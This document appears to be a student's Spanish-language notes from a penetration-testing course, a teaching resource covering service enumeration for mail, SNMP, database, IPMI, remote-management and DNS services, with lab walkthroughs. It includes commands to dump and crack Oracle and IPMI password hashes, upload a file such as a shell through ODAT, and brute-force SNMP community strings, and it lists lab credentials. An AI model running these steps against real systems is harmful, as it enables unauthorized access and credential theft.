HELO MAILSERVER o EHLO SUBDOMINIO
![[Pasted image 20260402172510.png]]
VRFY se puede usar para enumerar usuarios pero no siempre funciona. Code 252 confirma un usuario que en realidad no existe en el sistema
![[Pasted image 20260402172657.png]]
Enviar un mail
EHLO domain
MAIL FROM: usuario@domain
RCPT TO: usuario@domain NOTIFY=success,failure
DATA
Escribimos lo que queramos
.
QUIT
![[Pasted image 20260402173128.png]]![[Pasted image 20260402173139.png]]
Enumerar usuarios
Si VRFY esta disponible, nos conectamos y vamos probando:
VRFY USER
250 ok : EXISTE
252 : NO PUEDE VERIFICARLO = NO EXISTE
Otra forma si esta VRFY de forma automatica:
smtp-user-enum -M VRFY -U WORDLIST -t IP -p 25 -w 20
Si no existe VRFY entonces probamos esta opcion:
![[Pasted image 20260402180218.png]]
LABORATORIO
-
Enumerar el servicio y encontrar el banner de la version
![[Pasted image 20260402174604.png]]
![[Pasted image 20260402174554.png]]
-
Enumerar el servicio SMTP y encontrar al usuario
Usamos la Wordlist que nos dan:
![[Pasted image 20260402175711.png]]![[Pasted image 20260402180044.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
6. Imap POP3
IMAP permite el acceso a mails desde un server, gestion remota de emails y soporta estructura de carpetas. Tambien proporciona sincronizacion del email local con el mailbox del server. Es basado en texto y tiene funciones como buscador, acceso simultaneo por varios usuarios
POP3 solo provee listado, recuperado y borrado de mails en el mail server
Los clientes pueden crear copias locales del database central y necesita autenticacion por credenciales
IMAP Puerto : 143 TCP o 993 TCP (SSL)
POP3 Puerto : 110 TCP o 995 TCP (SSL)
SMTP se usa para el envio de mails e IMAP/POP3 se usan para el almacenado y añadir mas funcionalidades al servidor o mailbox
sudo nmap -Pn -sS -sVC -T4 -p110,143,993,995 IP
![[Pasted image 20260403102504.png]]
De esta salida podemos ver el common name del mailserver “mail1.inlanefreight.htb” y pertenece a la organizacion Inlafreight en California..
Tambien podemos ver las caracteristicas montadas en cada protocolo. Se ven en la parte de capabilities
Loggin con curl sin SSL
curl -k 'imaps://IP' --user USER:PASS
Con -v podremos ver: como se realiza la conexion, certificado SSL, version del servidor en el banner...
![[Pasted image 20260403103512.png]]
![[Pasted image 20260403103540.png]]
Login openssl para SSL conections
openssl s_client -connect IP:pop3s
![[Pasted image 20260403103718.png]]![[Pasted image 20260403103735.png]]
Comandos POP3
Una vez conectados podemos usar los comandos para navegar y enviar comandos en el server
![[Pasted image 20260403102252.png]]
Comandos IMAP
![[Pasted image 20260403104939.png]]
LABORATORIO
Tenemos las creds:
robin:robin
- Encontrar el nombre exacto de la organizacion
![[Pasted image 20260403104508.png]]![[Pasted image 20260403104551.png]]
-
FQDN del servidor
![[Pasted image 20260403104610.png]]
-
Enumera IMAP y encuentra la flag
![[Pasted image 20260403104728.png]]
![[Pasted image 20260403104757.png]]
- Version customizada de POP3
![[Pasted image 20260403110809.png]]
-
Admin email
![[Pasted image 20260403110558.png]]
-
Trata de acceder a los emails del server IMAP y consigue la flag
![[Pasted image 20260403110611.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
7. Snmp
Creado para monitorizar dispositivos de red ademas de menajar tareas de configuracion y cambiar las configuraciones de forma remota
Puerto 161 UDP
Puerto 162 UDP : envia paquetes desde el servidor al cliente que no necesitan ser solicitados si el dispositivo esta configurado para que le lleguen
Elementos clave
MIB
SNMP usa una base de datos. El MIB es un archivo que hace como mapa donde muestra:
- Que significa cada OID
- Que tipo de dato devuelve
- Como interpretarlo
OID
Es una cadena de numeros que nos da informacion. Cuanto mas larga mas informacion contiene
Ejemplo OID: 1.3.6.1.2.1.1.5
Como se ve en el MIB: sysName → nombre del sistema
Son como contraseñas que determinan si la informacion solicitada se puede ver o no
Las defautl son public y private
Versiones
SNMP V1
No tenia mecanismos de seguridad, autenticacion ni cifrado. Todo en texto plano e inseguro
SNMP V2
La autenticacion era si te sabias el comunnity string estabas dentro. No habia seguridad ni cifrado
SNMP V3
Tiene mecanismos de seguridad, autenticacion y cifrado pero es mas complejo
Snmpwalk
Usado para enumerar OIDs
snmpwalk -v2c -c COMMUNITY_STRING IP
![[Pasted image 20260403112627.png]]
En la salida vemos el POD, el MID e informacion de ese OID
Onesixtyone
Usado como fuerza bruta para encontrar community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt IP
![[Pasted image 20260403112901.png]]
Muchas veces en redes extensas usan los hostname como community strings o a veces le añaden algun simbolo
El caso es que si nos sabemos el patron podemos usar crunch ([[Cracking Passwords With Hashcat]]) para crear una wordlist personalizada
Braa
Una vez sepamos la community string podemos hacer fuerza bruta de los OIDs individuales y enumerar informacion
braa COMMUNITY_STRING@IP:.1.3.6.*
![[Pasted image 20260403113314.png]]
LABORATORIO
- Enumera el SNMP service y obten el mail addres del admin
![[Pasted image 20260403114547.png]]
Encontramos public
![[Pasted image 20260403115041.png]]
- Version customizada del SNMP
![[Pasted image 20260403115056.png]]
- Enumera el script customizado del sistema y obten la flag
![[Pasted image 20260403115122.png]]
o
![[Pasted image 20260403115151.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
8. Mysql
Base de datos relacional (tablas y columnas)
Se necesitan credenciales validas
Puerto 3306 TCP
Elementos MySQL
Cliente
Ejecuta queries en el servidor que le dan informacion de las BBDD
El CMS WP tiene su propia BBDD que solo se puede acceder en local donde guarda post, usernames, pass…
Server
Almacena la infromacion en tablas y columnas. Muy usado en webdinamicas
Se suele combinar con (Linux, Apache, MySQL y PHP) LAMP o si se usa Nginx LEMP
sudo nmap -Pn -sS -sVC --script mysql* -T4 -p3306 IP
![[Pasted image 20260403120039.png]]![[Pasted image 20260403120047.png]]
Hay que tener cuidado con los falsos positivos. Ahi nos dice en el modulo de mysql-brute que root no tiene contraseña (is empty) pero si lo comprobamos manualmente vemos que no es asi:
![[Pasted image 20260403120227.png]]
Loggin MySQL
USUARIO POR DEFECTO: root
mysql -u USER -pPASS -h IP
mysql -u USER -h IP -p --ssl=0
![[Pasted image 20260403120305.png]]![[Pasted image 20260403120312.png]]
Databases:
-
sys o system schema: contiene tablas, informacion y metadata necesaria para la gestion
![[Pasted image 20260403120521.png]]
-
information schema: contiene metadata que mucha ya es dada por sys. Contiene menos info que sys
Comandos MySQL
![[Pasted image 20260403120628.png]]
LABORATORIO
- Enumera MySQL y obten la version
![[Pasted image 20260403120919.png]]
- Encontramos las creds (robin:robin). Intentalas contra MySQL. Encontrar el mail de “Otto Lang”
![[Pasted image 20260403122057.png]]![[Pasted image 20260403122114.png]]![[Pasted image 20260403122132.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
9. Mssql
Es una base de datos relacional de Microsoft de gestion del sistema que corre en Windows y es popular para aplicaciones que corren en .NET framework
Puerto 1433 TCP
Elementos
MSSQL Client
SSMS es una caracteristica que se suele instalar en el server para una configuracion inicial
SSMS es la aplicacion de parte del cliente. No solo puede ser instalada en el server. SI nos conectamos a un host que tiene SSMS y tenemos credenciales validas para conectarnos, podremos ver la database
![[Pasted image 20260403124415.png]]
Algunos clients mas:
- Impacket mssqlclient
- SQLPro
- SQL Server PowerShell
- mssql-cli
BBDD de MSSQL
![[Pasted image 20260403124522.png]]
sudo nmap -Pn -sS -sVC --script ms-sql* --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248
NSE Scripts:
- ms-sql-info
- ms-sql-empty-password
- ms-sql-xp-cmdshell
- ms-sql-config,ms-sql-ntlm-info
- ms-sql-tables
- ms-sql-hasdbaccess
- ms-sql-dac
- ms-sql-dump-hashes
Podemos usar : scanner/mssql/mssql_ping de MSF
Este nos dara informacion de ayuda en la parte de footprinting
![[Pasted image 20260403125339.png]]
Login
USUARIO POR DEFECTO: sa
impacket-mssqlclient USER_DB@IP
impacket-mssqlclient USER_AD@IP -windows-auth
-windows-auth hace que nos autentiquemos con un usuario del AD o local no con un usuario de la base de datos
![[Pasted image 20260403125517.png]]
Comandos Enumeracion MSSQL
![[Pasted image 20260403130412.png]]
![[Pasted image 20260403130505.png]]![[Pasted image 20260403130513.png]]
LABORATORIO
- Enumera el objetivo y devuelve el hostname
![[Pasted image 20260403130112.png]]
- Usando (backdoor:Password1) encuentra la base de datos no default
![[Pasted image 20260403130454.png]]
EJEMPLO
![[Pasted image 20260405112105.png]]![[Pasted image 20260405112118.png]]![[Pasted image 20260405112133.png]]![[Pasted image 20260405112146.png]]![[Pasted image 20260405112158.png]]![[Pasted image 20260405112208.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
10. Oracle Tns
Es un protocolo que facilita la comunicacion entre las bases de datos Oracle y aplicaciones sobre la red. Soporta pilas de protocolo como TCP/IP e IPX/SPX
Se usa mucho en entornos con grandes y complejas databases como sanidad, finanzas, industria…
Ofrece encriptacion
Puerto 1521 TCP
Ejecutar para usar Odat Y SQLPLUS
Hay que ejecutar unas cosas que no vienen bien puestas en el modulo ya lo mirare
sudo nmap -Pn -sS -sVC -p1521 IP
![[Pasted image 20260403152410.png]]
SID es numero identificativo de la database que los clientes usan para especificar la instancia a la que se quieren conectar. Si no se especifica un SID se conectara a la default que estara especificada en el archivo de configuracion tnsnames.ora
Podemos usar vasrias forams para hacer una fuerza bruta de SIDs:
![[Pasted image 20260403152755.png]]
Odat
odat.py : es una herramienta de pentesting que enumera y explota las vulnerabilidades en Oracle Databases
./odat.py all -s IP
![[Pasted image 20260403152929.png]]
Realiza todos los escaneres de usuarios, SIDs, vulnerabilidades etc
En este caso encontramos las creds de scott/tiger
Login con SQLplus
sqlplus USER/PASS@IP/SID
![[Pasted image 20260403153107.png]]
![[Pasted image 20260403153545.png]]
No tenemos privielegios pero podemos intentar conectarnos a la BBDD del admin y tener mas privilegios:
sqlplus USER/PASS@IP/SID as sysdba
![[Pasted image 20260403153835.png]]
No podemos hacer modificaciones ni añadir nuevos usuarios ahora pero podemos obtener los hashes de la base de datos sys.user$ y crackearlos offline
select name, password from sys.user$;
![[Pasted image 20260403154044.png]]
Otra forma es subir un archivo pero necesitamos que haya un webserver corriendo y saber el webroot. Los default:
![[Pasted image 20260403154159.png]]
./odat.py utlfile -s IP -d SID -U USER -P PASS --sysdba --putFile WEBROOT NOMBRE_ARCHIVO_DST ./RUTA/ARCHIVO_LOCAL
![[Pasted image 20260403154341.png]]
Si fuese un shell, abririamos el listener y comprobariamos si existe con curl:
curl -X GET http://IP/archivo
ERROR LIBRERIAS
Si da un error en las librerias ejecutamos esto primero:
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig
![[Pasted image 20260403153130.png]]
Comandos SQLPlus
![[Pasted image 20260403153421.png]]![[Pasted image 20260403153432.png]]
LABORATORIO
- Obtener el hash de la contraseña de DBSNMP
![[Pasted image 20260403155220.png]]
![[Pasted image 20260403161841.png]]![[Pasted image 20260403161846.png]]![[Pasted image 20260403161858.png]]![[Pasted image 20260403161902.png]]![[Pasted image 20260403161906.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 2. Enumeracion De Host
11. Ipmi
Es un conjunto de especificacion para sistemas de gestion basados en hw usados para gestion y monitorizacion
Actua como un subsistema autonomo y trabaja independientemente del BIOS, CPU, firmware. Da la habilidad a los administradores de gestionar y monitorizar sistemas incluso si estan apagados. Monitoriza la temperatura, voltaje, ventiladoresd, fuentes de alimentacion…
Trabaja usando la conexion de red directa con el sistema y no necesita acceso al SO via login shell. Puede ser usado tambien para actualizaciones sin acceso al host
Puerto 623 UDP
Un BMC, Baseboard Management Controller, es un pequeño controlador integrado en la placa base del servidor que permite administrarlo de forma remota aunque el sistema operativo esté apagado o fallando.
El BMC da un control muy alto sobre la máquina, casi como si tuvieras acceso físico, porque permite reiniciar, apagar, monitorizar e incluso reinstalar el sistema operativo. Los BMC más comunes son HP iLO, Dell DRAC y Supermicro IPMI, y suelen ofrecer consola web, Telnet o SSH. En una auditoría, si consigues acceso al BMC, el compromiso del servidor es muy grave
Default passwords:
![[Pasted image 20260403163139.png]]
sudo nmap -sU --script ipmi-version -p 623 IP | dominio
![[Pasted image 20260403163022.png]]
Otra forma es con el modulo auxiliary/scanner/ipmi/ipmi_version de MSF
![[Pasted image 20260403163107.png]]
Login
Podemos probar las creds por defecto del BMC
Si no funcionan podemos usar el protocolon RAKP enm IMPI 2.0 que durante el proceso de autenticacion envia un sha1 o md5 de la pass del usuario
No hay solucion directa para esto. Se suele optar por creds largas y complejas pero con una que encontremos muchas veces se hacer pass reuse en otros hosts. Otra cosa que se hace como medida es reglas de segmentacion de red restringiendo el acceso directo a BMC
Si conseguimos la pass podremos conectarnos por SSH o Telnet
DUMPING HASHES
auxiliary/scanner/ipmi/ipmi_dumphashes - MSF
Este modulo encuentra el hash y lo crackea
![[Pasted image 20260403163841.png]]
![[Pasted image 20260403163853.png]]
Con esto podemos conseguir el hash de cualquier usuario valido en el BMC
-
Para HP iLO podemos usar esto que probara combinaciones de letras UPPERCASE y numeros con 8 caracteres totales:
hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
-
Para los demas
hashcat -m 7300 ipmi.txt -w /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt
Tras conseguir pass
ipmitool -I lanplus -H 10.129.36.204 -U USER -P 'TU_PASSWORD' user list
Tambien hay opciones de energia (apagado, reinicio, encendido), de voltaje, chasis…
![[Pasted image 20260403170254.png]]
LABORATORIO
- Que usuario podemos loggearnos en IPMI
![[Pasted image 20260403164917.png]]
- Cual es pass
![[Pasted image 20260403165534.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 3. Protocolos De Gestion Remota
1. Linux
SSH
Protocolo encriptado que permite conexion directa con el objetivo. El servidor OpenSSH es open source. SSH 1 era vulnerable a ataques MITM
Puerto 22 TCP
Metodos de autenticacion:
- Password
- Public Key
- Host based
- Keyboard
- Challenge-response
- GSSAPI
Public Key
El host envia el public key al cliente que el cliente usa para identificar al host de forma univoca. Tiene un par, la private key, esta no puede ser obtenida por el atacante a menos que acceda al objetivo
La clave privada se puede crear con una pass phrase. Cuando nos queramos conectar via ssh con la clave privada, tendremos que poner la passphrase primero
ssh-audit : chekea el client-side y server-side para las malas configuraciones y muestra la informacion general, el algoritmo de encriptacion…
git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py IP
![[Pasted image 20260404161638.png]]![[Pasted image 20260404161644.png]]
Vemos el banner con la version la cual tiene la vulnerabilidad CVE-2020-14145 que permite hacer MITM y ataque de intento de conexion inicial
La salida nos puede dar informacion importante como los metodos de autenticacion
Cambiar el metodo de autenticacion
En la salida hemos podido ver los metodos de autenticacion. Tambien lo podemos ver asi:
ssh -v USER@IP
![[Pasted image 20260404162126.png]]
ssh USER@IP -o PreferredAuthentications=METODO
![[Pasted image 20260404162217.png]]
Con esto especificamos el metodo de autenticacion
Rsync
Es una herramienta que permite copiar archivos locales y remotos
Si ya existe una version del archivo que estamos transfiriendo en el host destino, este reduce drasticamente la cantidad de datos que se envian ya que solo envia las diferencias
Puerto 873 TCP
Puede usar el demonio ssh
Guide : esta muestra formas de abusar Rsync como listar contenidos del share
A veces no se necesita autenticacion otras si. Si encontramos credenciales siempre esta bien mirar
sudo nmap -Pn -sS -sVC -T4 -p873 IP
![[Pasted image 20260404162943.png]]
Probando acceso al share
nc -nv IP PUERTO
#list
![[Pasted image 20260404163007.png]]
Enumerar un share publico
rsync -av --list-only rsync://IP/SHARE
-a: modo archivo, conserva estructura, permisos…
![[Pasted image 20260404163059.png]]
Descargar archivos
rsync -av rsync://IP/SHARE .
rsync -av rsync://IP/SHARE/ARCHIVO .
Si corre encima del demonio de SSH como se comento al principio:
rsync -av -e ssh USER@IP:/SHARE/ARCHIVO .
rsync -av -e "ssh -p2222" USER@IP:/SHARE/ARCHIVO .
Subir archivos
rsync -av ARCHIVO rsync://IP/SHARE
Si corre encima del demonio de SSH como se comento al principio:
rsync -av -e ssh ARCHIVO USER@IP:/SHARE/
rsync -av -e "ssh -p2222" ARCHIVO USER@IP:/SHARE/
PODRIAMOS SUBIR ARCHIVOS A CUALQUIER PARTE DEL SISTEMA /RUTA SI TUVIERAMOS CREDS VALIDAS
R-Services
Junto con telnet fueron reemplazados por ssh. Transmiten informacion client-server y server-client sin encriptar haciendo posibles los ataques MITM
Puertos 512, 513, 514 TCP
sudo nmap -Pn -sS -sVC -p512,513,514 IP
![[Pasted image 20260404165304.png]]
Comandos R-Service
R-commands cada uno usa un puerto:
- rcp (
remote copy)
- rexec (
remote execution)
- rlogin (
remote login)
- rsh (
remote shell)
- rstat
- ruptime
- rwho (
remote who)
![[Pasted image 20260404164740.png]]
/etc/hosts.equiv
Tiene una lista de hosts que son permitidos. Cuando un host de estos se intentan conectar al sistema no necesita mas autenticacion
![[Pasted image 20260404165147.png]]
Login con rlogin
rlogin IP -l USER
![[Pasted image 20260404165718.png]]
En otra terminal podemos usar rwho para ver informacion de los usuario conectados y las workstation
rwho
![[Pasted image 20260404165901.png]]
Listar usuarios con Rusers
rusers -al IP
![[Pasted image 20260404170045.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 3. Protocolos De Gestion Remota
2. Windows
RDP
Puerto 3389 TCP
sudo nmap -Pn -sS -sVC IP -p3389 --script rdp*
![[Pasted image 20260404171132.png]]
Check RDP Security
rdp-sec-check.pl
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
./rdp-sec-check.pl IP
![[Pasted image 20260404171427.png]]![[Pasted image 20260404171441.png]]
Conexion RDP
Varias herramientas: xfreerdp, rdesktop, or Remmina
xfreerdp /u:USER /p:"PASS" /v:IP
![[Pasted image 20260404171620.png]]![[Pasted image 20260404171626.png]]
WinRM
Protocolo de gestion remota basado en command line
Puerto 5985 y 5986 por HTTP o HTTPS
sudo nmap -Pn -sS -sVC -p5985,5986 IP
![[Pasted image 20260404174957.png]]
Login WinRM
evil-winrm -i IP -u USER -p PASS
![[Pasted image 20260404175102.png]]
WMI
Extension de CIM (Modelo de Informacion Comun, funcionalidad principal de la administracion empresarial basada en web
Permite acceso de lectura y escritura a casi todas las configuraciones del sistema
Puerto 135 TCP
impacket-wmiexec USER:PASS IP "hostname"
![[Pasted image 20260404175548.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 4. Laboratorios
1. Easy
Creds encontradas:
ceil:qwer1234
![[Pasted image 20260404181125.png]]
![[Pasted image 20260404181329.png]]
Enumeramos DNS para practicar:
Enumerar DNS sirve para encontrar:
- Hostnames
- Subdomains que podemos poner en el navegador y puede que tengan utilidades diferentes
- IPs que podemos enumerar
- Servicios como correo etc
Todos estos se pueden enumerar y encontrar nuevos puertos y vectores de ataque
![[Pasted image 20260404182053.png]]![[Pasted image 20260404182109.png]]
Ahora podemos conectarnos a FTP con las creds:
![[Pasted image 20260404184055.png]]
Tenemos que usar el comando passive para salir del modo pasivo
No encontramos nada podemos tratar en el puerto 2121
![[Pasted image 20260404184212.png]]
Aqui conseguimos una clave privada ssh podemos conectarnos por ssh usandola:
![[Pasted image 20260404184403.png]]![[Pasted image 20260404184429.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 4. Laboratorios
2. Medium
![[Pasted image 20260405102140.png]]
Vamos a ver el NFS y montarlo si podemos
![[Pasted image 20260405105321.png]]
![[Pasted image 20260405105533.png]]
No puedo entrar porque no soy root
![[Pasted image 20260405105603.png]]
user=“alex”
password=“lol123!mD”
Probamos estas creds en SMB:
![[Pasted image 20260405110021.png]]
No encontramos nada vamos al otro share
![[Pasted image 20260405110241.png]]
sa:87N1ns@slls83
Podemos probar tambien a conectarnos con las creds de alex
![[Pasted image 20260405110843.png]]
Vemos un MSSQL, podemos entrar con las creds encontradas de sa
![[Pasted image 20260405111025.png]]![[Pasted image 20260405111259.png]]
Esto error es porque tenemos que correr el MSSQL como Administrator
![[Pasted image 20260405111335.png]]
Vamos a probar la contraseña de sa
![[Pasted image 20260405111437.png]]
Entramos
![[Pasted image 20260405111457.png]]
![[Pasted image 20260405111912.png]]
En account tiramos una query
![[Pasted image 20260405111707.png]]
![[Pasted image 20260405111925.png]]![[Pasted image 20260405112001.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting / 4. Laboratorios
3. Hard
![[Pasted image 20260405112952.png]]
Vamos a conectarnos a imaps:
![[Pasted image 20260405113138.png]]
No podemos hacer mucho sin creds. Podemos mirar servicios UDP
![[Pasted image 20260405114318.png]]
![[Pasted image 20260405114516.png]]
![[Pasted image 20260405114524.png]]
tom NMds732Js2761
![[Pasted image 20260405114917.png]]![[Pasted image 20260405114931.png]]![[Pasted image 20260405114943.png]]
Copiamos el certificado SSH
![[Pasted image 20260405115035.png]]
Nos conectamos
![[Pasted image 20260405115136.png]]![[Pasted image 20260405115340.png]]
Hay servicio mysql
![[Pasted image 20260405115514.png]]![[Pasted image 20260405115619.png]]![[Pasted image 20260405115628.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 2. Footprinting
Layers De Enumeracion
1. Internet Presence
El objetivo es identificar todos los objetivos posibles del sistema e interfaces que pueden ser testeados
2. Gateway
El objetivo es entender con que estamos tratando y con que debemos tener cuidado
3. Accessible Services
Trata de entender la razon y funcionalidad del sistema objetivo y ganar el conocimiento necesario para comunicarnos con el y explotarlo
4. Processes
Entender aquellos factores e identificar las dependencias de ellos
5. Privilegios
Es crucial identificar y enteneder que podemos y que no podemos hacer
6. OS Setup
Ver como los administradores manejan el sistema y que informacion sensible podemos obtener
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 1. Whois
1. Whois
Es una protocolo diseñado para acceder a bases de datos que almacenan informacion sobre los recursos de internet registrados
Nos prove informacion del dominio como:
-
Domain name
-
Registrar: compañia donde el dominio esta registrado
-
Registrant Contact: persona que registro el dominio
-
Administrative Contact: persona responsable del dominio
-
Contacto Tecnico: persona que se encarga de problemas tecnicos del dominio
-
Creacion y expiration dates
-
NS: DNS servers que traducen el dominio en una IP
whois DOMAIN
![[Pasted image 20260405161509.png]]
Uso de Whois
Cuando se envia un correo o se encuentra el dominio origen de un malware se usa whois y se ve el dia de creacion y expiracion, NS, Registrants, etc. con lo que se puede determinar si el dominio es malicioso o no
LABORATORIO
- Realiza un whois a paypal.com. Cual es el IANA o Internet Assigned Numbers Authority ID
![[Pasted image 20260405162015.png]]
- Cual es el email de contacto en tesla.com
![[Pasted image 20260405162054.png]]![[Pasted image 20260405162115.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 2. DNS & Subdomains
1. DNS (teoria)
Domain Name System traduce domain name a IPs y viceversa
Como funciona
Imaginemos que queremos navegar a www.example.com y nuestra maquina no entiende de palabras sino de IPs
- Maquina preguntya la direccion: primero mira la memoria cache y si no la encuentra busca en DNS resolvers que da nuestro ISP
- El DNS resolver mira su mapa: el DNS resolver mira su cache y si no esta empieza a mirar en otros DNS servers jerarquicamente. Empieza preguntando al root NS
- Root DNS marca el punto: Root NS no sabe exactamente la IP pero si quien la tiene y lo consulta con el DNS de ese TLD (.com, .org…)
- El TLD NS: es un mapa regional. Este sabne que NS authoritative es responsable de ese dominio y lo pregunta
- Authoritative NS consigue la IP address y se la devuelve a DNS resolver
- DNS resolver nos devuelve la informacion
- Nuestra maquina se conecta
/etc/hosts o C:\Windows\System32\drivers\etc\hosts
Es una archivo que relaciona hostnames con IP addresses. DNS lo automatiza y hosts lo hace de forma directa y podemos meter entradas de forma manual
![[Pasted image 20260405163444.png]]
Zone Transfer y Registros
Un Zone Transfer es una parte distinta el namespace que una entidad o administrador gestionan
Dentro de un dominio principal (paquete central) se encontraran todos sus subdominio aunque no todos los subdominios necesitan estar en la misma zona
![[Pasted image 20260405164305.png]]
En este ejemplo encontrarmos NS, MX e IPs del dominio example.com
Registros
![[Pasted image 20260405164351.png]]![[Pasted image 20260405164359.png]]
NS y SOA
![[Pasted image 20260405170155.png]]![[Pasted image 20260405170207.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 2. DNS & Subdomains
2. Dig DNS
Hay muchas herramientas de reconocimiento DNS y hacer consultas DNS para extraer informacion vulnerable
![[Pasted image 20260405164924.png]]
Dig
Herramienta poderosa que permite realizar consultas DNS y que nos devuelva varios DNS records
![[Pasted image 20260405165035.png]]![[Pasted image 20260405165042.png]]
Ejemplo
![[Pasted image 20260405165115.png]]![[Pasted image 20260405165208.png]]
LABORATORIO
-
Que IP address tiene inlanefreight.com
![[Pasted image 20260405165701.png]]
-
Que dominio es devuelto en el registro PTR de 134.209.24.248
![[Pasted image 20260405165731.png]]
-
Cual es el dominio completo devuelto cuando consultas el registro mail de facebook.com
![[Pasted image 20260405165756.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 2. DNS & Subdomains
3. Subdomains (teoria)
Cuando exploramos registros DNS nos centramos principalmente en el dominio principal y su informacion
Los subdominios son extensiones de este dominio principal que separa diferentes secciones o funcionalidades:
- example.com
- blog.example.com
- mail.example.com
- shop.example.com
Es importante porque pueden tener informacion y recursos que no son directamente accesibles desde el sitio web principal como portales login ocultos, aplicaciones antiguas, informacion sensible…
En DNS records se ven junto al registro A o AAAA. CNAME se puede usar para crear alias del dominio principal y sus subdominios
Enumeracion activa
Interactuar con el dominio objetivo y sus DNS servers para descubrir los subdominios:
- DNS zone transfer
- Brute force enum: dnsenum, ffuf y gobuster
Enumeracion pasiva
Mirar en fuentes externas para descubrir subdominios sin consultar directamente a los DNS servers:
- CT logs
- Public repositories SSL/TLS que pueden tener asociados subdominios en su campo SAN
- Search engine como Google Dorks:
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 2. DNS & Subdomains
4. Subdomains Bruteforcing
Se usa una wordlist para descubrir subdominios
Herramientas que podemos usar
![[Pasted image 20260406174936.png]]
DNSEnum
Con esta herramienta se pueden hacer varias cosas como:
-
Enumeracion de registros DNS
-
Intentos de zone transfer
-
Subdomain Brute Forcing
-
Google scraping : busca resultados en Google para encontrar mas subdominios
-
Reverse Lookup : para identificar el dominio asociado a una IP
-
Whois Lookup
dnsenum –enum DOMAIN -f WORDLIST -r
dnsenum DOMAIN -f WORDLIST -r
-r : recursivo
WORDLIST: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
![[Pasted image 20260406175257.png]]![[Pasted image 20260406175303.png]]
LABORATORIO
- Usando los subdominios conocidos de inlanefreight.com encuentra el subdominio perdido mediante brute forcing
![[Pasted image 20260406180200.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 2. DNS & Subdomains
5. DNS Zone Transfer
Una zona de transferencia es una copia de todos los registros DNS de una zona (domino y sus subdominios) que es imprescindible para mantener la coherencia y redundancia de los DNS servers
Si no hay suficiente seguridad se puede descargar el archivo de la zona con todos los registros
![[Pasted image 20260407151422.png]]
SOA contiene la infromacion importante de la zona incluido el numero de serie
Explotando el zone transfer
dig axfr @NS/IP_NS DOMAIN
![[Pasted image 20260407151646.png]]
LABORATORIO
- Tras hacer un zone transfer del dominio inlanefreight.htb, cuantos DNS records obtuvimos
![[Pasted image 20260407152216.png]]
-
Encontrar la IP de ftp.admin.inlanefreight.htb
![[Pasted image 20260407152228.png]]
-
Encontrar la IP mas grande dentro del rango 10.10.200
![[Pasted image 20260407152346.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 3. Recopilacion De Informacion WEB / 2. DNS & Subdomains
6. Virtual Hosts
El webserver puede alojar varios dominios o subdominios en una solo IP, ha esto se le llama VIRTUAL HOSTING. El webserver sabe a que subdominio dirigirte por el parametro header “HTTP Host” indicandolo
Los subdominios tienen sus propios DNS records, son extensiones del dominio principal y pueden ser usados para diferenciar secciones o servicios en un website
El virtual host son configuraciones dentro del webserver que permite hostear varias websites o aplicaciones que puden estar asociadas a un subdominio o dominio
Si el virtual host no tiene un registro DNS podemos acceder modificando /etc/hosts
Funcionamiento VHost
![[Pasted image 20260407153308.png]]
Tipos de Virtual Hosting
- Basado en nombre: usa el HTTP Host header para distinguir websites
- Basado en IP: asigna una IP unica a cada website hosteado en el servidor. Mejor aislamiento
- Basado en puerto: por ejemplo una por 80 y otra por 8080. No es tan comun ni user friendly
Herramientas para descubrir VHOSTs
![[Pasted image 20260407153614.png]]
Gobuster
gobuster vhost -u URL -w WORDLIST --append-domain
–append-domain: pone el nombre del dominio despues de cada palabra de la wordlist necesario en versiones nuevas
WORDLIST: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
PARAMETROS:
| Parametro |
Explicacion |
| -t N |
Numero de threads en paralelo |
| -k |
Ignora errores de ssl |
| -o ARCHIVO |
Lo guarda en un archivo |
–no-tls-validation
|
Para cuando falle el tls |
![[Pasted image 20260407153926.png]]
LABORATORIO
- Realiza fuerza bruta de vhosts en el target. Cual es el subdomain completo del que tiene el prefijo web
Tenemos que modificar primero el /etc/hosts porque sino no llegamos al dominio ya que no lo reconocera ningun DNS publico
![[Pasted image 20260408150541.png]]
![[Pasted image 20260407154630.png]]
![[Pasted image 20260407155223.png]]
